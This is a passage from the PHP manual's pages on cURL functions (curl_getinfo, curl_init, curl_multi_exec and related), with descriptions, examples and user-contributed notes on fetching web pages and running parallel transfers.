It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com 25-Apr-2002 01:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com 01-Mar-2002 04:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
csaba at alum dot mit dot edu 22-May-2001 10:06
If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
    $ch = curl_init($pageSpec);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $tmp = curl_exec ($ch);
    curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
    $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
    return $tmp;
}
?>


Create a CURLFile object

  • « curl_exec
  • curl_getinfo »
  • PHP Manual
  • cURL Functions
  • Create a CURLFile object

curl_file_create

(PHP 5 >= 5.5.0)

curl_file_create — Create a CURLFile object

Description

This function is an alias of: CURLFile::__construct()

User Contributed Notes

mipa 05-Mar-2014 05:32
For PHP < 5.5:

<?php

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

?>


Get information regarding a specific transfer

  • « curl_file_create
  • curl_init »
  • PHP Manual
  • cURL Functions
  • Get information regarding a specific transfer

curl_getinfo

(PHP 4 >= 4.0.4, PHP 5)

curl_getinfo — Get information regarding a specific transfer

Description

mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )

Gets information about the last transfer.

Parameters

ch

A cURL handle returned by curl_init().

opt

This may be one of the following constants:

  • CURLINFO_EFFECTIVE_URL - Last effective URL
  • CURLINFO_HTTP_CODE - Last received HTTP code
  • CURLINFO_FILETIME - Remote time of the retrieved document, if -1 is returned the time of the document is unknown
  • CURLINFO_TOTAL_TIME - Total transaction time in seconds for last transfer
  • CURLINFO_NAMELOOKUP_TIME - Time in seconds until name resolving was complete
  • CURLINFO_CONNECT_TIME - Time in seconds it took to establish the connection
  • CURLINFO_PRETRANSFER_TIME - Time in seconds from start until just before file transfer begins
  • CURLINFO_STARTTRANSFER_TIME - Time in seconds until the first byte is about to be transferred
  • CURLINFO_REDIRECT_COUNT - Number of redirects, with the CURLOPT_FOLLOWLOCATION option enabled
  • CURLINFO_REDIRECT_TIME - Time in seconds of all redirection steps before final transaction was started, with the CURLOPT_FOLLOWLOCATION option enabled
  • CURLINFO_REDIRECT_URL - URL of final transaction, with the CURLOPT_FOLLOWLOCATION option enabled
  • CURLINFO_PRIMARY_IP - IP address of the most recent connection
  • CURLINFO_PRIMARY_PORT - Destination port of the most recent connection
  • CURLINFO_LOCAL_IP - Local (source) IP address of the most recent connection
  • CURLINFO_LOCAL_PORT - Local (source) port of the most recent connection
  • CURLINFO_SIZE_UPLOAD - Total number of bytes uploaded
  • CURLINFO_SIZE_DOWNLOAD - Total number of bytes downloaded
  • CURLINFO_SPEED_DOWNLOAD - Average download speed
  • CURLINFO_SPEED_UPLOAD - Average upload speed
  • CURLINFO_HEADER_SIZE - Total size of all headers received
  • CURLINFO_HEADER_OUT - The request string sent. For this to work, add the CURLINFO_HEADER_OUT option to the handle by calling curl_setopt()
  • CURLINFO_REQUEST_SIZE - Total size of issued requests, currently only for HTTP requests
  • CURLINFO_SSL_VERIFYRESULT - Result of SSL certification verification requested by setting CURLOPT_SSL_VERIFYPEER
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD - content-length of download, read from Content-Length: field
  • CURLINFO_CONTENT_LENGTH_UPLOAD - Specified size of upload
  • CURLINFO_CONTENT_TYPE - Content-Type: of the requested document, NULL indicates server did not send valid Content-Type: header

Return Values

If opt is given, returns its value. Otherwise, returns an associative array with the following elements (which correspond to opt), or FALSE on failure:

  • "url"
  • "content_type"
  • "http_code"
  • "header_size"
  • "request_size"
  • "filetime"
  • "ssl_verify_result"
  • "redirect_count"
  • "total_time"
  • "namelookup_time"
  • "connect_time"
  • "pretransfer_time"
  • "size_upload"
  • "size_download"
  • "speed_download"
  • "speed_upload"
  • "download_content_length"
  • "upload_content_length"
  • "starttransfer_time"
  • "redirect_time"
  • "certinfo"
  • "primary_ip"
  • "primary_port"
  • "local_ip"
  • "local_port"
  • "redirect_url"
  • "request_header" (This is only set if the CURLINFO_HEADER_OUT is set by a previous call to curl_setopt())

Changelog

Version | Description
5.3.7 | Introduced CURLINFO_REDIRECT_URL.
5.1.3 | Introduced CURLINFO_HEADER_OUT.

Examples

Example #1 curl_getinfo() example

<?php
// Create a curl handle
$ch = curl_init('http://www.yahoo.com/');

// Execute
curl_exec($ch);

// Check if any error occurred
if(!curl_errno($ch))
{
 $info = curl_getinfo($ch);

 echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
}

// Close handle
curl_close($ch);
?>

Notes

Note:

Information gathered by this function is kept if the handle is re-used. This means that unless a statistic is overridden internally by this function, the previous info is returned.

User Contributed Notes

Piker 23-Apr-2014 07:06
Example 1 should use "if(curl_errno($ch))" not "if(!curl_errno($ch))"
bg at enativ dot com 18-Mar-2014 06:53
curl_getinfo($ch) will also return 'redirect_url' if there is one (even if CURLOPT_FOLLOWLOCATION set to false).
I don't know why it's not in the doc..
nikita dot bulatenko at gmail dot com 15-Mar-2013 11:11
CURLINFO_SSL_VERIFYRESULT error codes:
0: ok the operation was successful.
2 : unable to get issuer certificate
3: unable to get certificate CRL
4: unable to decrypt certificate's signature
5: unable to decrypt CRL's signature
6: unable to decode issuer public key
7: certificate signature failure
8: CRL signature failure
9: certificate is not yet valid
10: certificate has expired
11: CRL is not yet valid
12:CRL has expired
13: format error in certificate's notBefore field
14: format error in certificate's notAfter field
15: format error in CRL's lastUpdate field
16: format error in CRL's nextUpdate field
17: out of memory
18: self signed certificate
19: self signed certificate in certificate chain
20: unable to get local issuer certificate
21:unable to verify the first certificate
22: certificate chain too long
23: certificate revoked
24: invalid CA certificate
25: path length constraint exceeded
26: unsupported certificate purpose
27: certificate not trusted
28: certificate rejected
29: subject issuer mismatch
30: authority and subject key identifier mismatch
31: authority and issuer serial number mismatch
32: key usage does not include certificate signing
50: application verification failure
details at http://www.openssl.org/docs/apps/verify.html#VERIFY_OPERATION
vince 23-Oct-2010 01:56
CURLINFO_HTTP_CODE does not return a string, as the docs say, but rather an integer.

<?php
    $c = curl_init('http://www.example.com/');
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === '200') echo "CURLINFO_HTTP_CODE returns a string.";
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === 200) echo "CURLINFO_HTTP_CODE returns an integer.";
    curl_close($c);
?>

returns

"CURLINFO_HTTP_CODE returns an integer."
Anonymous 20-Jul-2010 11:53
The main doc neglects to mention that when the CURLINFO_HEADER_OUT option is set the array returned by this function will included a new property, request_header, that is a string of the headers sent in the request.
nemetral 17-Jun-2008 04:57
Just a quick note: if you want to use curl_getinfo() with option CURLINFO_HEADER_OUT in order to debug your cURL request, you must add curl_setopt($handle, CURLINFO_HEADER_OUT, true); first while specifying the options.
luiheidsgoeroe at hotmail dot com 05-Feb-2008 12:02
Keep in mind that for CURLOPT_RETURNTRANSFER it has to be set with curl_setopt() before execution:

This doesn't work:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>

This works:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>
Mark Evers 17-Jan-2008 07:14
There is a constant missing from that list.  CURLINFO_REDIRECT_COUNT will give you the number of redirects it went through if CURLOPT_FOLLOWLOCATION was set.
ssttoo at hotmail dot com 06-Apr-2004 09:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
    die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,         1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
    // some kind of an error happened
    die(curl_error($ch));
    curl_close($ch); // close cURL handler
} else {
    $info = curl_getinfo($ch);
    curl_close($ch); // close cURL handler

    if (empty($info['http_code'])) {
            die("No HTTP code was returned");
    } else {
        // load the HTTP codes
        $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

        // echo results
        echo "The server responded: <br />";
        echo $info['http_code'] . " " . $http_codes[$info['http_code']];
    }

}
?>


Initialize a cURL session

  • « curl_getinfo
  • curl_multi_add_handle »
  • PHP Manual
  • cURL Functions
  • Initialize a cURL session

curl_init

(PHP 4 >= 4.0.2, PHP 5)

curl_init — Initialize a cURL session

Description

resource curl_init ([ string $url = NULL ] )

Initializes a new session and return a cURL handle for use with the curl_setopt(), curl_exec(), and curl_close() functions.

Parameters

url

If provided, the CURLOPT_URL option will be set to its value. You can manually set this using the curl_setopt() function.

Note:

The file protocol is disabled by cURL if open_basedir is set.

Return Values

Returns a cURL handle on success, FALSE on errors.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_close() - Close a cURL session
  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

James P 29-Jul-2013 10:58
Regarding spaces in URLs;
Please read
http://php.net/manual/en/function.urlencode.php
jharris at et2brut dot us 03-Dec-2010 11:20
Just to clarify:

Spaces in the URL need to be replaced with a %20.

Spaces in the querystring need to be replaced with a +
rossixx at gmx dot net 25-Oct-2007 06:48
e.g. you can check how many characters are on test_1.php

or you can it use for more, i have used this function for a nagios check.

<?PHP
echo "CURL - function test <br>" ;
if ($load == 1){
function webcheck ($url) {
        $ch = curl_init ($url) ;
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ;
        $res = curl_exec ($ch) ;
        curl_close ($ch) ;
        return ($res) ;
}
echo "url = $url <br>" ;

$erg = webcheck("my_page.php/test_1.php") ;
$zahl = strlen ($erg) ;
echo "length = $zahl " ;
?>
ezyang at php dot net 24-Oct-2007 04:31
curl_init() has undefined behavior if you pass 'false' to it and can crash when you try to copy the resulting handle using curl_copy_handle(). Keep this in mind if you create a wrapper object for CURL.
darkstar_ae at hotmail dot com 25-May-2006 05:20
For some reason on some webservers it may not be able to understand what cURL is doing. If you're getting unexpected results (like getting no output when the URL is valid) while using curl_init(). Add a trailing slash '/' after the url if you haven't done so already.
04-Feb-2005 11:35
<?php
    vWritePageToFile( 'http://es.php.net', 'es.php.net.txt' );
?>
... And the text file stand in the server in the same folder that the script.
This is the function code.-
<?php
    function vWritePageToFile( $sHTMLpage, $sTxtfile ) {
     $sh =          curl_init( $sHTMLpage );
     $hFile =                       FOpen( $sTxtfile, 'w' );
     curl_setopt( $sh, CURLOPT_FILE, $hFile );
     curl_setopt( $sh, CURLOPT_HEADER, 0 );
     curl_exec  ( $sh );
     $sAverageSpeedDownload = curl_getInfo( $sh, CURLINFO_SPEED_DOWNLOAD );
     $sAverageSpeedUpload   = curl_getInfo( $sh, CURLINFO_SPEED_UPLOAD );
     echo '<pre>';
     echo 'Average speed download == ' . $sAverageSpeedDownload . '<br>';
     echo 'Average Speed upload    == ' . $sAverageSpeedUpload   . '<br>';
     echo '<br>';
     $aCURLinfo = curl_getInfo( $sh );
     print_r( $aCURLinfo );
     echo '</pre>';
     curl_close(  $sh );
     FClose    (  $hFile );
     echo '(<b>See the file  "'.$sTxtfile.'"  in the same path of the hosting'.
          ' to where this script PHP</b>).<br>';
    }
?>


Add a normal cURL handle to a cURL multi handle

  • « curl_init
  • curl_multi_close »
  • PHP Manual
  • cURL Functions
  • Add a normal cURL handle to a cURL multi handle

curl_multi_add_handle

(PHP 5)

curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle

Description

int curl_multi_add_handle ( resource $mh , resource $ch )

Adds the ch handle to the multi handle mh

Parameters

mh

A cURL multi handle returned by curl_multi_init().

ch

A cURL handle returned by curl_init().

Return Values

Returns 0 on success, or one of the CURLM_XXX errors code.

Examples

Example #1 curl_multi_add_handle() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$running=null;
//execute the handles
do {
    curl_multi_exec($mh,$running);
} while($running > 0);

//close all the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);
?>

See Also

  • curl_multi_remove_handle() - Remove a multi handle from a set of cURL handles
  • curl_multi_init() - Returns a new cURL multi handle
  • curl_init() - Initialize a cURL session

User Contributed Notes

Anonymous 24-Dec-2012 03:29
The 'do' loop in this example will cycle indefinitely until all curl downloads complete, needlessly using CPU cycles.  A much better way is to block while dowloads are in progress.  Refer to the example code on the curl_multi_exec() page instead, which does this!


Close a set of cURL handles

  • « curl_multi_add_handle
  • curl_multi_exec »
  • PHP Manual
  • cURL Functions
  • Close a set of cURL handles

curl_multi_close

(PHP 5)

curl_multi_close — Close a set of cURL handles

Description

void curl_multi_close ( resource $mh )

Closes a set of cURL handles.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

Return Values

No value is returned.

Examples

Example #1 curl_multi_close() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$running=null;
//execute the handles
do {
    curl_multi_exec($mh,$running);
} while ($running > 0);

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_multi_init() - Returns a new cURL multi handle
  • curl_close() - Close a cURL session

User Contributed Notes

jonhohle at gmail dot com 08-Sep-2008 10:58
curl_multi_close seems to close the curl_multi handle, but not each of the individual curl handles. at least in the PHP 5.3 development build I am using, these each need to be closed manually.

I would recommend the final lines of this example be updated to:

<?php
//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_close($ch1);
curl_multi_remove_handle($mh, $ch2);
curl_close($ch2);
curl_multi_close($mh);
?>


Run the sub-connections of the current cURL handle

  • « curl_multi_close
  • curl_multi_getcontent »
  • PHP Manual
  • cURL Functions
  • Run the sub-connections of the current cURL handle

curl_multi_exec

(PHP 5)

curl_multi_exec — Run the sub-connections of the current cURL handle

Description

int curl_multi_exec ( resource $mh , int &$still_running )

Processes each of the handles in the stack. This method can be called whether or not a handle needs to read or write data.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

still_running

A reference to a flag to tell whether the operations are still running.

Return Values

A cURL code defined in the cURL Predefined Constants.

Note:

This only returns errors regarding the whole multi stack. There might still have occurred problems on individual transfers even when this function returns CURLM_OK.

Examples

Example #1 curl_multi_exec() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;
//execute the handles
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) != -1) {
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }
}

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_multi_init() - Returns a new cURL multi handle
  • curl_multi_select() - Wait for activity on any curl_multi connection
  • curl_exec() - Perform a cURL session

User Contributed Notes

jorov at mail dot bg 24-Oct-2014 12:22
I tried Daniel G Zylberberg's function and
it was not working the way it was posted.
I made some changes to get it work and here is what I use:

function multiCurl($res, $options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            $opt = curl_setopt_array($ch{$k}, $options);
            var_dump($opt);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        // add handles
        foreach($handles as $k => $handle){
            $err = curl_multi_add_handle($mh, $handle);
        }

        $running_handles = null;

        do {
          curl_multi_exec($mh, $running_handles);
          curl_multi_select($mh);
        } while ($running_handles > 0);

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}
qdujunjie at 126 dot com 17-Sep-2014 11:30
when you run curl_multi_exec() on the OS X mavericks system you may not get the right return, the scripts may running and running but no return value.
That's because on the OSX system with the php version 5.3.8+, when you call the curl_multi_exec() method before calling the curl_multi_select(), may always return the -1.
So here change a little code to running  the curl_multi_exec() successful on OSX below.

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// 设置URL和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
qdujunjie at 126 dot com 17-Sep-2014 11:22
当在OS X mavericks中运行curl_multi_exec()时，
可能会得不到想要的结果，
因为脚本会一直执行但是却没有返回值，
这是因为在OS X中当php在5.3.8以上版本时，
在调用curl_multi_exec()方法之前curl_multi_select()会一直返回-1，
所以这里改写一下脚本，
可以在OS X中成功执行：

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// 设置URL和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
pulksh at gmail dot com 06-Mar-2014 06:28
This example not working on window 7 with php version 5.3.27.
Ren 17-Aug-2013 10:54
Solve CPU 100% usage, a more simple and right way:

<?php

do {
    curl_multi_exec($mh, $running);
    curl_multi_select($mh);
} while ($running > 0);

?>
Daniel G Zylberberg 12-Jul-2012 03:00
This function wait for the last page, can get a configuration array with curl options to made a post, or pass timeouts, etc.
Retun the same array but add "error", and "data".Error is the string destription if something fail, data is the response.

<?php
// author: Daniel G Zylberberg
// date 11 jul 2012
// $res: array with structure 0=>array("url"=>"blah"),1=>array("url"=>"some url")
// $options (optional): array with curl options (timeout, postfields, etc)
// return the same array that gets, and add "data" to the current row(html content)
// and "error", with the string description in the case that something fail.

function multiCurl($res,$options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            curl_setopt_array($ch{$k}, $options);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        foreach($handles as $k => $handle){
            curl_multi_add_handle($mh,$handle);
            //echo "<br>adding handle {$k}";
        }

        $running_handles = null;
        //execute the handles
        do {
            $status_cme = curl_multi_exec($mh, $running_handles);
        } while ($cme == CURLM_CALL_MULTI_PERFORM);

        while ($running_handles && $status_cme == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $status_cme = curl_multi_exec($mh, $running_handles);
                   // echo "<br>''threads'' running = {$running_handles}";
                } while ($status == CURLM_CALL_MULTI_PERFORM);
            }
        }

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}

$res = array(
        "11"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=1"),
        "13"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=3"),
        "25"=>array("url"=>"this doesn't exist"),

);
print_r( multiCurl($res));
?>

---------- sleep.php -------------------------------------
<?php
sleep($_GET['t']);
echo "sleep for {$_GET['t']} seconds and show this.";
?>
emmet at trovit dot com 26-Jun-2012 01:57
Here's something that had me pulling my hair out for quite a while. I was trying to download multiple files and save each one in a file. If you want to read the file again in the same script that has downloaded the url, always make sure to close the original filehandle that you opened for the connection BEFORE trying to read from the file again, even if you open a new filehandle to do so. If you don't do this, a file_get_contents() or fread() will cut your file and only return a limited size of it, 40960 characters in my case, without any other explanation or error. The file will exist (and be complete) on your disk, PHP just wont show it.

I (perhaps mistakenly) thought this was a bug so I created a bug report, see it for examples of the code I used to recreate this misterious behavior:
https://bugs.php.net/bug.php?id=62409
Jimmy Ruska 13-Sep-2008 08:56
> replying to viczbk.ru

Just sharing my attempt at it.

> while (($res = curl_multi_select($mh)) === 0) {};
This worked on my windows computer (php 5.2.5) but when I ran the curl program in my new centOS server (php 5.1.6) the function never updates unless curl_multi_exec() is added to the loop, taking away the point of using it to save cycles. curl_multi_select() also allows you to set a timeout but it doesn't seem to help, then again, don't see why people wouldn't use it anyway.

Even when curl_multi_select($mh) does work there's no way to know which of the sockets updated in status or if they've received partial data, completely finished, or just timed out. It's not reliable if you want to remove / add data as soon as things finish. Try calling just example.com or some other website with very little data. curl_multi_select($mh) can send non 0 value a couple of thousand times before finishing. Lazily adding a usleep(25000) or some minimal amount can also help not waste cycles.
viczbk.ru 09-Feb-2008 05:04
http://curl.haxx.se/libcurl/c/libcurl-multi.html

"When you've added the handles you have for the moment (you can still add new ones at any time), you start the transfers by call curl_multi_perform(3).

curl_multi_perform(3) is asynchronous. It will only execute as little as possible and then return back control to your program. It is designed to never block. If it returns CURLM_CALL_MULTI_PERFORM you better call it again soon, as that is a signal that it still has local data to send or remote data to receive."

So it seems the loop in sample script should look this way:

<?php
$running=null;
//execute the handles
do {
    while (CURLM_CALL_MULTI_PERFORM === curl_multi_exec($mh, $running));
    if (!$running) break;
    while (($res = curl_multi_select($mh)) === 0) {};
    if ($res === false) {
        echo "<h1>select error</h1>";
        break;
    }
} while (true);
?>

This worked fine (PHP 5.2.5 @ FBSD 6.2) without running non-blocked loop and wasting CPU time.

However this seems to be the only use of curl_multi_select, coz there's no simple way to bind it with other PHP wrappers for select syscall.
robert dot reichel at boboton dot com 20-Oct-2007 02:54
I was testing PHP code provided by dtorop933@gmail.com in curl_multi_exec section of PHP Manual.

The part of the code '$err = curl_error($conn[$i])' should return error message for each cURL session, but it does not.
The function curl_error() works well with the curl_exec(). Is there any other solution for getting session error message with curl_multi_exec() or there is a bug in cURL library.

The script was tested with Windows XP and PHP-5.2.4
substr(&#34;iscampifriese&#34;,1,11) dot &#34; at beer dot com&#34; 04-Jul-2007 03:10
If you are using mulit handles and you wish to re-execute any of them (if they timed out or something), then you need to remove the handles from the mulit-handle and then re-add them in order to get them to re-execute.  Otherwise cURL will just give you back the same results again without actually retrying.


Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

  • « curl_multi_exec
  • curl_multi_info_read »
  • PHP Manual
  • cURL Functions
  • Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

curl_multi_getcontent

(PHP 5)

curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

Description

string curl_multi_getcontent ( resource $ch )

If CURLOPT_RETURNTRANSFER is an option that is set for a specific handle, then this function will return the content of that cURL handle in the form of a string.

